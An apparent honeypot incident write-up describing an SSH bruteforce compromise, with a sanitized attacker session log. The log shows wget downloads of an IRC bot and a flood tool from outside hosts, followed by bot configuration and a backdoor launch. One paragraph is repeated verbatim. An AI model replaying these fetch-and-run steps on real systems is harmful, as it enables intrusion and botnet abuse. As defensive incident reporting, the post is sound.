Honeypot Compromise: SSH Bruteforcing
About one month ago we had another compromise of one of our honeypots. The attacker came from the IP 71.116.213.XXX (static-71-116-213-XXX.lsanca.dsl-w.verizon.net), which is located in California, US (according to MaxMind). Later on he also used an IP located in Romania.
The compromise was not very interesting: the attacker used a tool for SSH bruteforcing and was able to guess the weak password of one user. He then installed an IRC bot and a backdoor on the compromised machine. Please find below the sanitized logging output of Sebek:
The compromise was not very interesting: the attacker used a tool for SSH bruteforcing and was able to guess the weak password of one user. He then installed an IRC bot and a backdoor on the compromised machine. Please find below the sanitized logging output of Sebek:
12:12:48 w
12:12:50 uname -a
12:12:54 passwd
12:12:43 w
12:12:53 ls
12:12:54 cd /tmp
12:12:55 ls
12:12:57 cd /var/tmp
12:12:57 ls
12:12:08 wget http://www.members.lycos.co.uk/XXX/mech.tar
12:12:15 wget http://free.7host06.com/XXX/linuxteam.tar.gz
12:12:29 wget http://free.7host06.com/XXX/flood
12:12:00 ls
12:12:04 tar zxvf mech.tar
12:12:06 cd mech
12:12:06 ls
12:12:10 pico mech1.users
12:12:12 nano mech1.users
12:12:16 mcedit mech1.users
12:12:19 vi mech1.users
[...]
12:12:07 vi kswap.set
[...]
12:12:28 ./inetd
".
